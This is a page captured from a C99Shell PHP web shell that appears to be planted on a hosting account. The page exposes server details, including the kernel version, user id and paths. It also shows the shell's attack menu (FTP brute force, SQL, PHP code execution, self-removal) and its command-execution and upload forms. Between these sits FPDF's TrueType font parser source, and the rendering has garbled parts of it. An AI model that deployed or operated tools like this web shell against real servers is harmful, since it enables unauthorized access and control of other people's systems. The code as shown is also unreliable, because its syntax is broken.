!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/fpdf185/makefont/   drwxr-xr-x
Free 3287.61 GB of 8044.16 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ttfparser.php (17.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*******************************************************************************
* Class to parse and subset TrueType fonts                                     *
*                                                                              *
* Version: 1.11                                                                *
* Date:    2021-04-18                                                          *
* Author:  Olivier PLATHEY                                                     *
*******************************************************************************/

class TTFParser
{
    protected 
$f;
    protected 
$tables;
    protected 
$numberOfHMetrics;
    protected 
$numGlyphs;
    protected 
$glyphNames;
    protected 
$indexToLocFormat;
    protected 
$subsettedChars;
    protected 
$subsettedGlyphs;
    public 
$chars;
    public 
$glyphs;
    public 
$unitsPerEm;
    public 
$xMin$yMin$xMax$yMax;
    public 
$postScriptName;
    public 
$embeddable;
    public 
$bold;
    public 
$typoAscender;
    public 
$typoDescender;
    public 
$capHeight;
    public 
$italicAngle;
    public 
$underlinePosition;
    public 
$underlineThickness;
    public 
$isFixedPitch;

    function 
__construct($file)
    {
        
$this->fopen($file'rb');
        if(!
$this->f)
            
$this->Error('Can\'t open file: '.$file);
    }

    function 
__destruct()
    {
        if(
is_resource($this->f))
            
fclose($this->f);
    }

    function 
Parse()
    {
        
$this->ParseOffsetTable();
        
$this->ParseHead();
        
$this->ParseHhea();
        
$this->ParseMaxp();
        
$this->ParseHmtx();
        
$this->ParseLoca();
        
$this->ParseGlyf();
        
$this->ParseCmap();
        
$this->ParseName();
        
$this->ParseOS2();
        
$this->ParsePost();
    }

    function 
ParseOffsetTable()
    {
        
$version $this->Read(4);
        if(
$version=='OTTO')
            
$this->Error('OpenType fonts based on PostScript outlines are not supported');
        if(
$version!="\x00\x01\x00\x00")
            
$this->Error('Unrecognized file format');
        
$numTables $this->ReadUShort();
        
$this->Skip(3*2); // searchRange, entrySelector, rangeShift
        
$this->tables = array();
        for(
$i=0;$i<$numTables;$i++)
        {
            
$tag $this->Read(4);
            
$checkSum $this->Read(4);
            
$offset $this->ReadULong();
            
$length $this->ReadULong();
            
$this->tables[$tag] = array('offset'=>$offset'length'=>$length'checkSum'=>$checkSum);
        }
    }    

    function 
ParseHead()
    {
        
$this->Seek('head');
        
$this->Skip(3*4); // version, fontRevision, checkSumAdjustment
        
$magicNumber $this->ReadULong();
        if(
$magicNumber!=0x5F0F3CF5)
            
$this->Error('Incorrect magic number');
        
$this->Skip(2); // flags
        
$this->unitsPerEm $this->ReadUShort();
        
$this->Skip(2*8); // created, modified
        
$this->xMin $this->ReadShort();
        
$this->yMin $this->ReadShort();
        
$this->xMax $this->ReadShort();
        
$this->yMax $this->ReadShort();
        
$this->Skip(3*2); // macStyle, lowestRecPPEM, fontDirectionHint
        
$this->indexToLocFormat $this->ReadShort();
    }

    function 
ParseHhea()
    {
        
$this->Seek('hhea');
        
$this->Skip(4+15*2);
        
$this->numberOfHMetrics $this->ReadUShort();
    }

    function 
ParseMaxp()
    {
        
$this->Seek('maxp');
        
$this->Skip(4);
        
$this->numGlyphs $this->ReadUShort();
    }

    function 
ParseHmtx()
    {
        
$this->Seek('hmtx');
        
$this->glyphs = array();
        for(
$i=0;$i<$this->numberOfHMetrics;$i++)
        {
            
$advanceWidth $this->ReadUShort();
            
$lsb $this->ReadShort();
            
$this->glyphs[$i] = array('w'=>$advanceWidth'lsb'=>$lsb);
        }
        for(
$i=$this->numberOfHMetrics;$i<$this->numGlyphs;$i++)
        {
            
$lsb $this->ReadShort();
            
$this->glyphs[$i] = array('w'=>$advanceWidth'lsb'=>$lsb);
        }
    }

    function 
ParseLoca()
    {
        
$this->Seek('loca');
        
$offsets = array();
        if(
$this->indexToLocFormat==0)
        {
            
// Short format
            
for($i=0;$i<=$this->numGlyphs;$i++)
                
$offsets[] = 2*$this->ReadUShort();
        }
        else
        {
            
// Long format
            
for($i=0;$i<=$this->numGlyphs;$i++)
                
$offsets[] = $this->ReadULong();
        }
        for(
$i=0;$i<$this->numGlyphs;$i++)
        {
            
$this->glyphs[$i]['offset'] = $offsets[$i];
            
$this->glyphs[$i]['length'] = $offsets[$i+1] - $offsets[$i];
        }
    }

    function 
ParseGlyf()
    {
        
$tableOffset $this->tables['glyf']['offset'];
        foreach(
$this->glyphs as &$glyph)
        {
            if(
$glyph['length']>0)
            {
                
fseek($this->f$tableOffset+$glyph['offset'], SEEK_SET);
                if(
$this->ReadShort()<0)
                {
                    
// Composite glyph
                    
$this->Skip(4*2); // xMin, yMin, xMax, yMax
                    
$offset 5*2;
                    
$a = array();
                    do
                    {
                        
$flags $this->ReadUShort();
                        
$index $this->ReadUShort();
                        
$a[$offset+2] = $index;
                        if(
$flags 1// ARG_1_AND_2_ARE_WORDS
                            
$skip 2*2;
                        else
                            
$skip 2;
                        if(
$flags 8// WE_HAVE_A_SCALE
                            
$skip += 2;
                        elseif(
$flags 64// WE_HAVE_AN_X_AND_Y_SCALE
                            
$skip += 2*2;
                        elseif(
$flags 128// WE_HAVE_A_TWO_BY_TWO
                            
$skip += 4*2;
                        
$this->Skip($skip);
                        
$offset += 2*$skip;
                    }
                    while(
$flags 32); // MORE_COMPONENTS
                    
$glyph['components'] = $a;
                }
            }
        }
    }

    function 
ParseCmap()
    {
        
$this->Seek('cmap');
        
$this->Skip(2); // version
        
$numTables $this->ReadUShort();
        
$offset31 0;
        for(
$i=0;$i<$numTables;$i++)
        {
            
$platformID $this->ReadUShort();
            
$encodingID $this->ReadUShort();
            
$offset $this->ReadULong();
            if(
$platformID==&& $encodingID==1)
                
$offset31 $offset;
        }
        if(
$offset31==0)
            
$this->Error('No Unicode encoding found');

        
$startCount = array();
        
$endCount = array();
        
$idDelta = array();
        
$idRangeOffset = array();
        
$this->chars = array();
        
fseek($this->f$this->tables['cmap']['offset']+$offset31SEEK_SET);
        
$format $this->ReadUShort();
        if(
$format!=4)
            
$this->Error('Unexpected subtable format: '.$format);
        
$this->Skip(2*2); // length, language
        
$segCount $this->ReadUShort()/2;
        
$this->Skip(3*2); // searchRange, entrySelector, rangeShift
        
for($i=0;$i<$segCount;$i++)
            
$endCount[$i] = $this->ReadUShort();
        
$this->Skip(2); // reservedPad
        
for($i=0;$i<$segCount;$i++)
            
$startCount[$i] = $this->ReadUShort();
        for(
$i=0;$i<$segCount;$i++)
            
$idDelta[$i] = $this->ReadShort();
        
$offset ftell($this->f);
        for(
$i=0;$i<$segCount;$i++)
            
$idRangeOffset[$i] = $this->ReadUShort();

        for(
$i=0;$i<$segCount;$i++)
        {
            
$c1 $startCount[$i];
            
$c2 $endCount[$i];
            
$d $idDelta[$i];
            
$ro $idRangeOffset[$i];
            if(
$ro>0)
                
fseek($this->f$offset+2*$i+$roSEEK_SET);
            for(
$c=$c1;$c<=$c2;$c++)
            {
                if(
$c==0xFFFF)
                    break;
                if(
$ro>0)
                {
                    
$gid $this->ReadUShort();
                    if(
$gid>0)
                        
$gid += $d;
                }
                else
                    
$gid $c+$d;
                if(
$gid>=65536)
                    
$gid -= 65536;
                if(
$gid>0)
                    
$this->chars[$c] = $gid;
            }
        }
    }

    function 
ParseName()
    {
        
$this->Seek('name');
        
$tableOffset $this->tables['name']['offset'];
        
$this->postScriptName '';
        
$this->Skip(2); // format
        
$count $this->ReadUShort();
        
$stringOffset $this->ReadUShort();
        for(
$i=0;$i<$count;$i++)
        {
            
$this->Skip(3*2); // platformID, encodingID, languageID
            
$nameID $this->ReadUShort();
            
$length $this->ReadUShort();
            
$offset $this->ReadUShort();
            if(
$nameID==6)
            {
                
// PostScript name
                
fseek($this->f$tableOffset+$stringOffset+$offsetSEEK_SET);
                
$s $this->Read($length);
                
$s str_replace(chr(0), ''$s);
                
$s preg_replace('|[ \[\](){}<>/%]|'''$s);
                
$this->postScriptName $s;
                break;
            }
        }
        if(
$this->postScriptName=='')
            
$this->Error('PostScript name not found');
    }

    function 
ParseOS2()
    {
        
$this->Seek('OS/2');
        
$version $this->ReadUShort();
        
$this->Skip(3*2); // xAvgCharWidth, usWeightClass, usWidthClass
        
$fsType $this->ReadUShort();
        
$this->embeddable = ($fsType!=2) && ($fsType 0x200)==0;
        
$this->Skip(11*2+10+4*4+4);
        
$fsSelection $this->ReadUShort();
        
$this->bold = ($fsSelection 32)!=0;
        
$this->Skip(2*2); // usFirstCharIndex, usLastCharIndex
        
$this->typoAscender $this->ReadShort();
        
$this->typoDescender $this->ReadShort();
        if(
$version>=2)
        {
            
$this->Skip(3*2+2*4+2);
            
$this->capHeight $this->ReadShort();
        }
        else
            
$this->capHeight 0;
    }

    function 
ParsePost()
    {
        
$this->Seek('post');
        
$version $this->ReadULong();
        
$this->italicAngle $this->ReadShort();
        
$this->Skip(2); // Skip decimal part
        
$this->underlinePosition $this->ReadShort();
        
$this->underlineThickness $this->ReadShort();
        
$this->isFixedPitch = ($this->ReadULong()!=0);
        if(
$version==0x20000)
        {
            
// Extract glyph names
            
$this->Skip(4*4); // min/max usage
            
$this->Skip(2); // numberOfGlyphs
            
$glyphNameIndex = array();
            
$names = array();
            
$numNames 0;
            for(
$i=0;$i<$this->numGlyphs;$i++)
            {
                
$index $this->ReadUShort();
                
$glyphNameIndex[] = $index;
                if(
$index>=258 && $index-257>$numNames)
                    
$numNames $index-257;
            }
            for(
$i=0;$i<$numNames;$i++)
            {
                
$len ord($this->Read(1));
                
$names[] = $this->Read($len);
            }
            foreach(
$glyphNameIndex as $i=>$index)
            {
                if(
$index>=258)
                    
$this->glyphs[$i]['name'] = $names[$index-258];
                else
                    
$this->glyphs[$i]['name'] = $index;
            }
            
$this->glyphNames true;
        }
        else
            
$this->glyphNames false;
    }

    function 
Subset($chars)
    {
        
$this->subsettedGlyphs = array();
        
$this->AddGlyph(0);
        
$this->subsettedChars = array();
        foreach(
$chars as $char)
        {
            if(isset(
$this->chars[$char]))
            {
                
$this->subsettedChars[] = $char;
                
$this->AddGlyph($this->chars[$char]);
            }
        }
    }

    function 
AddGlyph($id)
    {
        if(!isset(
$this->glyphs[$id]['ssid']))
        {
            
$this->glyphs[$id]['ssid'] = count($this->subsettedGlyphs);
            
$this->subsettedGlyphs[] = $id;
            if(isset(
$this->glyphs[$id]['components']))
            {
                foreach(
$this->glyphs[$id]['components'] as $cid)
                    
$this->AddGlyph($cid);
            }
        }
    }

    function 
Build()
    {
        
$this->BuildCmap();
        
$this->BuildHhea();
        
$this->BuildHmtx();
        
$this->BuildLoca();
        
$this->BuildGlyf();
        
$this->BuildMaxp();
        
$this->BuildPost();
        return 
$this->BuildFont();
    }

    function 
BuildCmap()
    {
        if(!isset(
$this->subsettedChars))
            return;

        
// Divide charset in contiguous segments
        
$chars $this->subsettedChars;
        
sort($chars);
        
$segments = array();
        
$segment = array($chars[0], $chars[0]);
        for(
$i=1;$i<count($chars);$i++)
        {
            if(
$chars[$i]>$segment[1]+1)
            {
                
$segments[] = $segment;
                
$segment = array($chars[$i], $chars[$i]);
            }
            else
                
$segment[1]++;
        }
        
$segments[] = $segment;
        
$segments[] = array(0xFFFF0xFFFF);
        
$segCount count($segments);

        
// Build a Format 4 subtable
        
$startCount = array();
        
$endCount = array();
        
$idDelta = array();
        
$idRangeOffset = array();
        
$glyphIdArray '';
        for(
$i=0;$i<$segCount;$i++)
        {
            list(
$start$end) = $segments[$i];
            
$startCount[] = $start;
            
$endCount[] = $end;
            if(
$start!=$end)
            {
                
// Segment with multiple chars
                
$idDelta[] = 0;
                
$idRangeOffset[] = strlen($glyphIdArray) + ($segCount-$i)*2;
                for(
$c=$start;$c<=$end;$c++)
                {
                    
$ssid $this->glyphs[$this->chars[$c]]['ssid'];
                    
$glyphIdArray .= pack('n'$ssid);
                }
            }
            else
            {
                
// Segment with a single char
                
if($start<0xFFFF)
                    
$ssid $this->glyphs[$this->chars[$start]]['ssid'];
                else
                    
$ssid 0;
                
$idDelta[] = $ssid $start;
                
$idRangeOffset[] = 0;
            }
        }
        
$entrySelector 0;
        
$n $segCount;
        while(
$n!=1)
        {
            
$n $n>>1;
            
$entrySelector++;
        }
        
$searchRange = (1<<$entrySelector)*2;
        
$rangeShift 2*$segCount $searchRange;
        
$cmap pack('nnnn'2*$segCount$searchRange$entrySelector$rangeShift);
        foreach(
$endCount as $val)
            
$cmap .= pack('n'$val);
        
$cmap .= pack('n'0); // reservedPad
        
foreach($startCount as $val)
            
$cmap .= pack('n'$val);
        foreach(
$idDelta as $val)
            
$cmap .= pack('n'$val);
        foreach(
$idRangeOffset as $val)
            
$cmap .= pack('n'$val);
        
$cmap .= $glyphIdArray;

        
$data pack('nn'01); // version, numTables
        
$data .= pack('nnN'3112); // platformID, encodingID, offset
        
$data .= pack('nnn'46+strlen($cmap), 0); // format, length, language
        
$data .= $cmap;
        
$this->SetTable('cmap'$data);
    }

    function 
BuildHhea()
    {
        
$this->LoadTable('hhea');
        
$numberOfHMetrics count($this->subsettedGlyphs);
        
$data substr_replace($this->tables['hhea']['data'], pack('n',$numberOfHMetrics), 4+15*22);
        
$this->SetTable('hhea'$data);
    }

    function 
BuildHmtx()
    {
        
$data '';
        foreach(
$this->subsettedGlyphs as $id)
        {
            
$glyph $this->glyphs[$id];
            
$data .= pack('nn'$glyph['w'], $glyph['lsb']);
        }
        
$this->SetTable('hmtx'$data);
    }

    function 
BuildLoca()
    {
        
$data '';
        
$offset 0;
        foreach(
$this->subsettedGlyphs as $id)
        {
            if(
$this->indexToLocFormat==0)
                
$data .= pack('n'$offset/2);
            else
                
$data .= pack('N'$offset);
            
$offset += $this->glyphs[$id]['length'];
        }
        if(
$this->indexToLocFormat==0)
            
$data .= pack('n'$offset/2);
        else
            
$data .= pack('N'$offset);
        
$this->SetTable('loca'$data);
    }

    function 
BuildGlyf()
    {
        
$tableOffset $this->tables['glyf']['offset'];
        
$data '';
        foreach(
$this->subsettedGlyphs as $id)
        {
            
$glyph $this->glyphs[$id];
            
fseek($this->f$tableOffset+$glyph['offset'], SEEK_SET);
            
$glyph_data $this->Read($glyph['length']);
            if(isset(
$glyph['components']))
            {
                
// Composite glyph
                
foreach($glyph['components'] as $offset=>$cid)
                {
                    
$ssid $this->glyphs[$cid]['ssid'];
                    
$glyph_data substr_replace($glyph_datapack('n',$ssid), $offset2);
                }
            }
            
$data .= $glyph_data;
        }
        
$this->SetTable('glyf'$data);
    }

    function 
BuildMaxp()
    {
        
$this->LoadTable('maxp');
        
$numGlyphs count($this->subsettedGlyphs);
        
$data substr_replace($this->tables['maxp']['data'], pack('n',$numGlyphs), 42);
        
$this->SetTable('maxp'$data);
    }

    function 
BuildPost()
    {
        
$this->Seek('post');
        if(
$this->glyphNames)
        {
            
// Version 2.0
            
$numberOfGlyphs count($this->subsettedGlyphs);
            
$numNames 0;
            
$names '';
            
$data $this->Read(2*4+2*2+5*4);
            
$data .= pack('n'$numberOfGlyphs);
            foreach(
$this->subsettedGlyphs as $id)
            {
                
$name $this->glyphs[$id]['name'];
                if(
is_string($name))
                {
                    
$data .= pack('n'258+$numNames);
                    
$names .= chr(strlen($name)).$name;
                    
$numNames++;
                }
                else
                    
$data .= pack('n'$name);
            }
            
$data .= $names;
        }
        else
        {
            
// Version 3.0
            
$this->Skip(4);
            
$data "\x00\x03\x00\x00";
            
$data .= $this->Read(4+2*2+5*4);
        }
        
$this->SetTable('post'$data);
    }

    function 
BuildFont()
    {
        
$tags = array();
        foreach(array(
'cmap''cvt ''fpgm''glyf''head''hhea''hmtx''loca''maxp''name''post''prep') as $tag)
        {
            if(isset(
$this->tables[$tag]))
                
$tags[] = $tag;
        }
        
$numTables count($tags);
        
$offset 12 16*$numTables;
        foreach(
$tags as $tag)
        {
            if(!isset(
$this->tables[$tag]['data']))
                
$this->LoadTable($tag);
            
$this->tables[$tag]['offset'] = $offset;
            
$offset += strlen($this->tables[$tag]['data']);
        }

        
// Build offset table
        
$entrySelector 0;
        
$n $numTables;
        while(
$n!=1)
        {
            
$n $n>>1;
            
$entrySelector++;
        }
        
$searchRange 16*(1<<$entrySelector);
        
$rangeShift 16*$numTables $searchRange;
        
$offsetTable pack('nnnnnn'10$numTables$searchRange$entrySelector$rangeShift);
        foreach(
$tags as $tag)
        {
            
$table $this->tables[$tag];
            
$offsetTable .= $tag.$table['checkSum'].pack('NN'$table['offset'], $table['length']);
        }

        
// Compute checkSumAdjustment (0xB1B0AFBA - font checkSum)
        
$s $this->CheckSum($offsetTable);
        foreach(
$tags as $tag)
            
$s .= $this->tables[$tag]['checkSum'];
        
$a unpack('n2'$this->CheckSum($s));
        
$high 0xB1B0 + ($a[1]^0xFFFF);
        
$low 0xAFBA + ($a[2]^0xFFFF) + 1;
        
$checkSumAdjustment pack('nn'$high+($low>>16), $low);
        
$this->tables['head']['data'] = substr_replace($this->tables['head']['data'], $checkSumAdjustment84);

        
$font $offsetTable;
        foreach(
$tags as $tag)
            
$font .= $this->tables[$tag]['data'];

        return 
$font;
    }

    function 
LoadTable($tag)
    {
        
$this->Seek($tag);
        
$length $this->tables[$tag]['length'];
        
$n $length 4;
        if(
$n>0)
            
$length += $n;
        
$this->tables[$tag]['data'] = $this->Read($length);
    }

    function 
SetTable($tag$data)
    {
        
$length strlen($data);
        
$n $length 4;
        if(
$n>0)
            
$data str_pad($data$length+4-$n"\x00");
        
$this->tables[$tag]['data'] = $data;
        
$this->tables[$tag]['length'] = $length;
        
$this->tables[$tag]['checkSum'] = $this->CheckSum($data);
    }

    function 
Seek($tag)
    {
        if(!isset(
$this->tables[$tag]))
            
$this->Error('Table not found: '.$tag);
        
fseek($this->f$this->tables[$tag]['offset'], SEEK_SET);
    }

    function 
Skip($n)
    {
        
fseek($this->f$nSEEK_CUR);
    }

    function 
Read($n)
    {
        return 
$n>fread($this->f$n) : '';
    }

    function 
ReadUShort()
    {
        
$a unpack('nn'fread($this->f,2));
        return 
$a['n'];
    }

    function 
ReadShort()
    {
        
$a unpack('nn'fread($this->f,2));
        
$v $a['n'];
        if(
$v>=0x8000)
            
$v -= 65536;
        return 
$v;
    }

    function 
ReadULong()
    {
        
$a unpack('NN'fread($this->f,4));
        return 
$a['N'];
    }

    function 
CheckSum($s)
    {
        
$n strlen($s);
        
$high 0;
        
$low 0;
        for(
$i=0;$i<$n;$i+=4)
        {
            
$high += (ord($s[$i])<<8) + ord($s[$i+1]);
            
$low += (ord($s[$i+2])<<8) + ord($s[$i+3]);
        }
        return 
pack('nn'$high+($low>>16), $low);
    }

    function 
Error($msg)
    {
        throw new 
Exception($msg);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0109 ]--